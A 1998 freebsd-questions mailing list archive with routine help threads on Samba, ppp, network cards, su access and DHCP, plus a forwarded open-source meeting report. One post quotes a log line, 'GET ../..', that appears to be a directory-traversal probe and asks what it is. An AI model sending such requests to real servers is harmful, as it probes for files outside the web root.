Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 17:03:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA15804 for freebsd-questions-outgoing; Wed, 8 Apr 1998 17:03:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from thecore.com (shaun@guardian.thecore.com [206.136.149.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA15521 for ; Wed, 8 Apr 1998 17:02:52 -0700 (PDT) (envelope-from shaun@thecore.com) Received: from localhost (shaun@localhost) by thecore.com (8.8.8/8.8.8) with SMTP id UAA27060; Wed, 8 Apr 1998 20:02:03 -0400 (EDT) Date: Wed, 8 Apr 1998 20:02:02 -0400 (EDT) From: Shaun To: Capriotti cc: Gary Lahr , questions@FreeBSD.ORG Subject: Re: Samba In-Reply-To: <3.0.32.19980409084028.00941bb0@pop.mpc.com.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I experienced a similiar problem but it turned out to be that NT 4.0-SR2 now encrypts the password and samba by default was expecting plain-text passwords. If you are using NT 4.0 with Service Release 2, this may be your problem. I believe this problem is discussed in the documentation that comes with at least the latest version of samba. On Thu, 9 Apr 1998, Capriotti wrote: > At 12:42 PM 4/8/98 -0400, Gary Lahr wrote: > >I am trying to setup samba on version 2.2.5 of BSD. I loaded the software > >from the ports collection and I am having a difficult time getting it to > >work. My config file is very small: > > > >[homes] > > comment = Home Directories > > browseable = yes > > writable = yes > > read only = no > > create mode = 0750 > > OK. I don't have too much experience with [homes], but I guess there is a > parameter missing there. > > sometihng like path=/momes/$user > > I am not sure. > > > > >but I cannot connect to the share from NT. I am trying to map a drive to > >\\develbsd\gary. develbsd is the DNS name for the system and gary is a valid > >account. Does anyone know what I am doing wrong? When I map to the drive I > >get the username password prompt but the name and password don't match > >according to the message I get. I assure you I'm using the correct password > >for the gary account. > > > >I can use the smbclient to map to an NT share so it looks like the service > >is working ok. > > > >any help would be great...thanks > > > Had a similar problem before ! > > NT is slow. Allow it 2 minutes - minimun - to read the network again, or it > will try to use the cached network info it's saved. > > If you have your user list on the FBSD machine, AND an NT on the network, > you will need to take special care, or the username/password won't work. > > Take a closer look at the documentation; If you can't locate it, unpack the > samba package in one directory, and search for the .txt and html files > there. They solve almost any problem. > > I hope it helped. +-- http://www.download.net ------------- http://www.thecore.com --+ | Shaun M. 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Box 106 | | FAX: (732)928-7402 Jackson, NJ 08527-0106 | +----- ICQ 3842675 ------------------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 17:16:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA17129 for freebsd-questions-outgoing; Wed, 8 Apr 1998 17:16:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rigel.cs.pdx.edu (root@rigel.cs.pdx.edu [131.252.220.22]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA17077 for ; Wed, 8 Apr 1998 17:14:48 -0700 (PDT) (envelope-from rotan@cs.pdx.edu) Received: from sirius.cs.pdx.edu (root@sirius.cs.pdx.edu [131.252.220.13]) by rigel.cs.pdx.edu (8.8.6/8.8.6) with ESMTP id RAA03035 for ; Wed, 8 Apr 1998 17:14:42 -0700 (PDT) Received: from localhost (rotan@localhost [127.0.0.1]) by sirius.cs.pdx.edu (8.8.6/8.8.6) with ESMTP id RAA15429 for ; Wed, 8 Apr 1998 17:14:41 -0700 (PDT) Message-Id: <199804090014.RAA15429@sirius.cs.pdx.edu> To: freebsd-questions@FreeBSD.ORG Subject: Intel EtherExpress .. Date: Wed, 08 Apr 1998 17:14:40 -0700 From: robert t tan Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I have a problem setting up my Ethernet card. I understood, FreeBSD supports the Intel EterExpress cards. I therefor bought an Intel EhtherExpress PRO/10+ ISA LAN Adapter. I am running FreeBSD 2.2.2 Follows related dmesg results: ie0: unknown board_id: f000 ie0 not found at 0x300 ie1: unknown board_id: f000 ie1 not found at 0x360 ep0 not found at 0x300 ex0 not found at 0x300 le0 not found at 0x300 lnc0 not found at 0x280 ze0 not found at 0x300 zp0 not found at 0x300 Any suggestions? Tnx much, robert tan. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 17:55:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA19918 for freebsd-questions-outgoing; Wed, 8 Apr 1998 17:55:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from java.dpcsys.com (java.dpcsys.com [206.16.184.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA19907 for ; Wed, 8 Apr 1998 17:55:37 -0700 (PDT) (envelope-from dan@dpcsys.com) Received: from localhost (dan@localhost) by java.dpcsys.com (8.8.7/8.8.5) with SMTP id RAA23700; Wed, 8 Apr 1998 17:55:26 -0700 (PDT) Date: Wed, 8 Apr 1998 17:55:26 -0700 (PDT) From: Dan Busarow To: Jack Harris cc: freebsd-questions@FreeBSD.ORG Subject: Re: Sendmail hangs when Cisco Router pemits only ports, 20,21,25,53,80,110,113 In-Reply-To: <199804082240.RAA00972@jharris.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Jack Harris wrote: > What happens on boot when Sendmail gets started? > What port(s) is it using? Set your deny's to log and see what's triggering the problem. Dan -- Dan Busarow 714 443 4172 DPC Systems / Beach.Net dan@dpcsys.com Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 17:57:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA20147 for freebsd-questions-outgoing; Wed, 8 Apr 1998 17:57:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA20124 for ; Wed, 8 Apr 1998 17:56:55 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id AAA18877; Thu, 9 Apr 1998 00:48:18 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804082348.AAA18877@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: "Michael P. Sale" cc: freebsd-questions@FreeBSD.ORG Subject: Re: newbie ppp question. In-reply-to: Your message of "Mon, 06 Apr 1998 17:10:45 PDT." <01bd61b9$9c3672e0$3206bccc@708644668> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 09 Apr 1998 00:48:17 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hello all, > > I am new to freebsd and most of unix. > > I am trying to get ppp (IPCP) dialout working on a newly installed > PII 233 with freebsd 2.2.5 (CD-Rom set). I have set up both ppp.conf and > ppp.linkup in the /etc/ppp directory. They are included below in case they > may be the problem. When I type in ppp from root ( I know using root is > bad, but I can't yet figure out why I don't have access to anything even > though my user is part of wheel ), I get the following: > > User Process PPP. Written by Toshiharu OHNO. > > According to the book, I should see considerably more here. :-) > > At this point the box hangs until I do a CTL-C. How strange :-| Are you using the GENERIC kernel ? You could try upgrading ppp to the version on http://www.FreeBSD.org/~brian... [.....] > impulse: > set phone 1234567 > set openmode passive > set authname login_name > set authkey passwd > set login "TIMEOUT 5 login:\\r-login: login_name word: passwd" > set timeout 120 > # Take care of extra stuff > # set up for dynamic ip (ipcp) > set ifaddr 0 0 > # set up for default routing > add 0 0 HISADDR Hmm, I hope these lines are indented :-) [.....] > Michael P. Sale > MerchantsNet.Com > mike@merchantsnet.com > www.merchantsnet.com > ---------------------------------------------- > "Humility has no equal in the > battle for knowledge" -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 18:03:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA20936 for freebsd-questions-outgoing; Wed, 8 Apr 1998 18:03:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from quena.rcp.net.pe (quena.rcp.net.pe [161.132.1.136]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id SAA20922 for ; Wed, 8 Apr 1998 18:03:27 -0700 (PDT) (envelope-from oscar@quena.rcp.net.pe) Received: from localhost (812 bytes) by quena.rcp.net.pe via sendmail with P:stdio/R:inet_hosts/T:smtp (sender: ) (ident using unix) id for ; Wed, 8 Apr 1998 20:01:34 -0400 (EDT) (Smail-3.2.0.96 1997-Jun-2 #3 built 1997-Aug-18) Message-Id: Subject: packages cd rom To: freebsd-questions@FreeBSD.ORG Date: Wed, 8 Apr 1998 20:01:33 -0400 (EDT) From: oscar@rcp.net.pe (Oscar Valdez) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG pleae : how i specify a diferent path to install the packages in the cdrom?? I have copied all the distribution in a cd, but the packages in a directory called: /packages/www /packages/x11 /packages/databases etc etc. when i start /stand/sysinstall and try to install the packages, i got an error: packages path not found or something the freebsd system i had installed ok but the packages dont what i must do?? -- Oscar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 18:30:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA23609 for freebsd-questions-outgoing; Wed, 8 Apr 1998 18:30:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from imo23.mx.aol.com (imo23.mx.aol.com [198.81.17.67]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA23558 for ; Wed, 8 Apr 1998 18:29:52 -0700 (PDT) (envelope-from BNowaira@aol.com) Received: from BNowaira@aol.com by imo23.mx.aol.com (IMOv13.ems) id HXJGa02066 for ; Wed, 8 Apr 1998 21:29:04 -0500 (EDT) From: BNowaira Message-ID: Date: Wed, 8 Apr 1998 21:29:04 EDT To: questions@FreeBSD.ORG Mime-Version: 1.0 Subject: Problem Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 4.0 for Windows 95 sub 170 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear Sir or Madam: I've downloaded the FreeBSD and installed it. I created another partition for FreeBSD using the "fips" utility. However, after the FreeBSD was installed, I lost my W95 partition table, and the computer won't boot W95 at all. What can I do? Thanks a lot, Bas Nowaira To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 18:32:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA24045 for freebsd-questions-outgoing; Wed, 8 Apr 1998 18:32:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from lariat.lariat.org (ppp1000.lariat.org@lariat.lariat.org [129.72.251.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA24008 for ; Wed, 8 Apr 1998 18:31:56 -0700 (PDT) (envelope-from brett@lariat.org) Received: (from brett@localhost) by lariat.lariat.org (8.8.8/8.8.8) id TAA20981; Wed, 8 Apr 1998 19:31:49 -0600 (MDT) Message-Id: <199804090131.TAA20981@lariat.lariat.org> X-Sender: brett@mail.lariat.org X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Wed, 08 Apr 1998 19:31:36 -0600 To: questions@FreeBSD.ORG From: Brett Glass Subject: Is someone from FreeBSD participating in this? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The following message describes a meeting held by O'Reilly and Associates about free software. Was someone from FreeBSD in attendance? --Brett Glass >Date: Wed, 08 Apr 1998 21:03:42 -0400 >From: James Love >Organization: http://www.cptech.org >X-Mailer: Mozilla 4.04 [en] (Win95; I) >To: Multiple recipients of list >Subject: Open Source meeting report > >Subject: IP: open source interests > Date: Wed, 08 Apr 1998 20:53:15 -0400 > From: Dave Farber > To: ip-sub-1@majordomo.pobox.com > >Date: Tue, 7 Apr 1998 23:49:30 -0700 >From: Judi Clark >Subject: open source interests >: >: > >Yesterday, O'Reilly (publishers) convened a meeting that I thought >might be of interest to this group. The attendees at the meeting >included a few names we may have never heard of yet whose work we >depend on each day: > >Sameer Parakh, C2/Stronghold software >Paul Vixie, BIND >Brian Behlendorf, Apache >Eric Allman & Greg Olson, Sendmail >Tom Paquin & Jamie Zawinski, Netscape >Linus Torvalds, Linux >Tim O'Reilly >Larry Wall, perl >John Ousterhaut, Tcl/Tk >Guido van Rossum, Python >John Gilmore (various) >Eric Raymond, "The Cathedral and the Bazaar" (excellent article) >Phil Zimmermann, PGP >and several others > >I've been hoping to see an effort of this kind for some time now, >and was happy to attend the press event following the meeting. >The main things covered at the meeting were establishing some >terminology ("open source means source code open to the public"), >and starting to look at methodology for any kind of collaborations >that might emerge. One point that came out clearly was the need >for the public to see and understand the significance of this >model of software development, and its prevalence in our lives. >No big PR departments to alert the press when new developments >come along. > >Yes, it was clear that much of the press was largely lost in this >new world. Was it Open Source vs. Microsoft? How was Open Source >ever going to make it in a shrinkwrapped world? And how will the >press know what's coming next? Little did they know that shrinkwrap >is, we were told, but a small percent of the overall software- >related business world. And how would anyone make a living in this >Open Source world? (As if distribution and customer support were >not the major expenses? Driving down the cost of distribution still >leaves a whale of an opportunity, as Cygnus and C2 demonstrate!) > >The main points to be shared are the following: > >1. Open source runs a lot of stuff now. >2. Open source software development spawns new businesses and models >3. There is a social impact yet to be discovered >4. Open source demonstrates new ideas through mass usage >5. protects freedom of choice, keeps the market honest > >The work is beginning to increase awareness and mindshare. Just as >some of us are coders and testers... > >I'm sure you will see more info about this meeting soon on O'Reilly's >web site. The press release (with links) is found at: > http://www.oreilly.com/oreilly/press/freeware.html > >You might also be interested in the "grim scenario" at the beginning >of this article: > http://www.netaction.org/articles/freesoft.html > > judi > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 18:37:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA25065 for freebsd-questions-outgoing; Wed, 8 Apr 1998 18:37:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA25009 for ; Wed, 8 Apr 1998 18:36:28 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA15141; Thu, 9 Apr 1998 11:06:07 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA18427; Thu, 9 Apr 1998 11:05:55 +0930 (CST) (envelope-from grog) Message-ID: <19980409110554.63674@freebie.lemis.com> Date: Thu, 9 Apr 1998 11:05:54 +0930 From: Greg Lehey To: Paul Southworth , freebsd-questions@FreeBSD.ORG Subject: Re: Want motherboard recommendation References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Paul Southworth on Wed, Apr 08, 1998 at 11:18:37AM -0400 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 April 1998 at 11:18:37 -0400, Paul Southworth wrote: > > I need a reliable motherboard for a FreeBSD 2.2.6 system. Thinking of > perhaps the Tyan 1680S single P-II board (440FX) or perhaps the Mustang > M628 (440LX). > > Given my recent Iwill motherboard flop (kern/6201) I am hoping that > someone can recommend a motherboard that is well supported. What was the problem with your motherboard? If it's the serial ports, there's a fix for that. Check out http://www.lemis.com/serial-port-patch.html. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 18:48:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA27682 for freebsd-questions-outgoing; Wed, 8 Apr 1998 18:48:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA27609 for ; Wed, 8 Apr 1998 18:48:37 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA15156; Thu, 9 Apr 1998 11:18:14 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA18493; Thu, 9 Apr 1998 11:18:13 +0930 (CST) (envelope-from grog) Message-ID: <19980409111812.42891@freebie.lemis.com> Date: Thu, 9 Apr 1998 11:18:12 +0930 From: Greg Lehey To: Colin Belton , freebsd-questions@FreeBSD.ORG Subject: Re: Support for SunSparc Ipx References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Colin Belton on Wed, Apr 08, 1998 at 01:48:05PM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 April 1998 at 13:48:05 -0700, Colin Belton wrote: > Hello > > I'm looking for a unix-like OS to install on my SunSparc IPX will FreeBSD > support this hardware? No, and it's unlikely to ever do so. I believe that both NetBSD and OpenBSD do, however--check out their web sites. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 19:04:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA29455 for freebsd-questions-outgoing; Wed, 8 Apr 1998 19:04:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from yamuna.will.knipp.de ([195.138.38.194]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA29445 for ; Wed, 8 Apr 1998 19:04:34 -0700 (PDT) (envelope-from pruess@yamuna.will.knipp.de) Received: (from pruess@localhost) by yamuna.will.knipp.de (8.8.5/8.8.5) id EAA26751; Thu, 9 Apr 1998 04:04:12 +0200 (CEST) Message-Id: <199804090204.EAA26751@yamuna.will.knipp.de> Subject: Strange lines in /var/log/messages To: freebsd-questions@FreeBSD.ORG Date: Thu, 9 Apr 1998 04:04:12 +0200 (CEST) Cc: G.P@yamuna.will.knipp.de From: "G.P." X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! Recently I found a line in our /var/log/messages (running 2.2.5) I never saw before: Apr 9 00:27:20 GET ../.. like Apr 9 00:27:20 123.45.67.89 GET ../.. The "GET ../.." part looks like a HTTP/0.9 request but our httpd (apache 1.2.6 with some patches) isn't logging anything via syslog. Any suggestions? Thanks in advance, Gunnar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 19:24:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA01295 for freebsd-questions-outgoing; Wed, 8 Apr 1998 19:24:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pan.wt.net (pan.wt.net [205.230.159.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA01236 for ; Wed, 8 Apr 1998 19:24:42 -0700 (PDT) (envelope-from thepro@wt.net) Received: from wt.net (isdn-d3-86.wt.net [206.139.153.86]) by pan.wt.net (8.8.8/8.7.3) with ESMTP id VAA21023 for ; Wed, 8 Apr 1998 21:26:40 -0500 Message-ID: <352C30D0.FA5B2702@wt.net> Date: Wed, 08 Apr 1998 21:22:08 -0500 From: El Diablo X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: su Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG how do i add users to roots ACL? i want to be able to allow certain users to use the su command to give root access remote. what is the format for the acl file and where is it located? thanks message is a follows example of what happens: $ su kerberos: not in roots ACL you are not in the correct group to su root $ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 19:39:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA04241 for freebsd-questions-outgoing; Wed, 8 Apr 1998 19:39:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from wiosna.syrena.net (wiosna.syrena.net [210.164.121.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA04232 for ; Wed, 8 Apr 1998 19:39:31 -0700 (PDT) (envelope-from jdj@po.iijnet.or.jp) Received: from marzec.syrena.net ([192.168.0.2]) by wiosna.syrena.net (8.8.7/3.6W-19980206) with SMTP id LAA04812 for ; Thu, 9 Apr 1998 11:39:28 +0900 (JST) Date: Thu, 9 Apr 1998 11:39:28 +0900 (JST) Message-Id: <199804090239.LAA04812@wiosna.syrena.net> From: Hiromichi Aikawa To: freebsd-questions@FreeBSD.ORG Subject: subscribe MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.22 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe Hiromichi Aikawa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 19:48:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA05508 for freebsd-questions-outgoing; Wed, 8 Apr 1998 19:48:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp-01.neosoft.com (smtp-01.neosoft.com [206.109.1.19]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id TAA05479 for ; Wed, 8 Apr 1998 19:48:16 -0700 (PDT) (envelope-from ulix@neosoft.com) Received: (qmail 20395 invoked by uid 101); 9 Apr 1998 02:48:13 -0000 Received: from mailbox.neosoft.com (206.109.1.16) by smtp-01.neosoft.com with SMTP; 9 Apr 1998 02:48:13 -0000 Received: from ulix.neosoft.com (tuffy-ppp-port-46.neosoft.com [206.109.11.92]) by mailbox.neosoft.com (8.8.8/8.8.8) with ESMTP id VAA04525 for ; Wed, 8 Apr 1998 21:48:12 -0500 (CDT) Message-ID: <352C5311.7F8191E5@neosoft.com> Date: Wed, 08 Apr 1998 21:48:17 -0700 From: TezMan X-Mailer: Mozilla 4.01 [en] (Win95; I; 16bit) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: vms-like shell X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am looking for a VMS-like shell that will work w/ freebsd, can you point me in a general direction? Thanx! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 19:49:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA06176 for freebsd-questions-outgoing; Wed, 8 Apr 1998 19:49:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ophelia.uoregon.edu (sharding@ophelia.uoregon.edu [128.223.194.42]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA06026 for ; Wed, 8 Apr 1998 19:49:39 -0700 (PDT) (envelope-from sharding@ophelia.uoregon.edu) Received: from localhost (sharding@localhost) by ophelia.uoregon.edu (8.8.8/8.8.8) with SMTP id TAA22735; Wed, 8 Apr 1998 19:49:33 -0700 (PDT) Date: Wed, 8 Apr 1998 19:49:32 -0700 (PDT) From: Sean Harding Reply-To: Sean Harding To: El Diablo cc: freebsd-questions@FreeBSD.ORG Subject: Re: su In-Reply-To: <352C30D0.FA5B2702@wt.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, El Diablo wrote: > how do i add users to roots ACL? i want to be able to allow certain > users to use the > su command to give root access remote. The ACL is a Kerberos thing; that's not what you need to fix (unless you are using Kerberos, in which case I won't even try to explain things because I'm not too sure about it). You need to make sure that the users who should be able to become root are in the wheel group in /etc/group . Sean -- Sean Harding sharding@oregon.uoregon.edu|"Life is a sleazy stranger http://gladstone.uoregon.edu/~sharding/ | & this is his favorite bar." NeXTMail OK! | --Ani DiFranco To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 20:06:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA08144 for freebsd-questions-outgoing; Wed, 8 Apr 1998 20:06:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp01.primenet.com (smtp01.primenet.com [206.165.6.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA08133 for ; Wed, 8 Apr 1998 20:06:36 -0700 (PDT) (envelope-from markem@primenet.com) Received: (from daemon@localhost) by smtp01.primenet.com (8.8.8/8.8.8) id UAA26542; Wed, 8 Apr 1998 20:06:33 -0700 (MST) Received: from xdsl-ip47-064.phx.primenet.com(207.218.25.64), claiming to be "dad" via SMTP by smtp01.primenet.com, id smtpd026529; Wed Apr 8 20:06:30 1998 Message-Id: <3.0.5.32.19980408200628.0099ee50@pop.primenet.com> X-Sender: markem@pop.primenet.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Wed, 08 Apr 1998 20:06:28 To: FreeBSD Questions , Studded@san.rr.com From: "M. Monninger" Subject: Re: dhcpc and ed3 interface In-Reply-To: <352B35A1.5BA5AB6C@san.rr.com> References: <19980407224839.64875@numachi.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 01:30 AM 4/8/98 -0700, Studded wrote: > My experience with the wide client was that it was susceptible to the >kinds of frustrations you describe. I have put together step-by-step >instructions for setting up the ISC client at >http://home.san.rr.com/freebd/dhcp.html. Please take a look at that and >if you have any feedback I'd be very interested in hearing it. > I've been running the wide client for a while without problems. However, I've been trying to switch to the ISC client but am having problems with it. I have two NICs in my machine, ed0 and ed1. ed0 is my internet connection that needs dhcp to get the address from my ISP. ed1 is the interface to my home LAN, with a static IP address. The problem I have with the ISC client is that it works fine in setting up ed0 but I can't get it to leave ed1 alone. It insists on setting ed1's IP address to 0.0.0.0. I've RTFM'ed everything I can and have tried a lot of stuff in the config file, all to no avail. I'm sure it's probably a config problem but I can't see it. Any suggestions? I tried the web page but keep getting 404 File Not Found... Thanks... Mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 20:14:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA09463 for freebsd-questions-outgoing; Wed, 8 Apr 1998 20:14:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from luke.cpl.net (luke.cpl.net [209.150.92.68]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA09452 for ; Wed, 8 Apr 1998 20:14:24 -0700 (PDT) (envelope-from 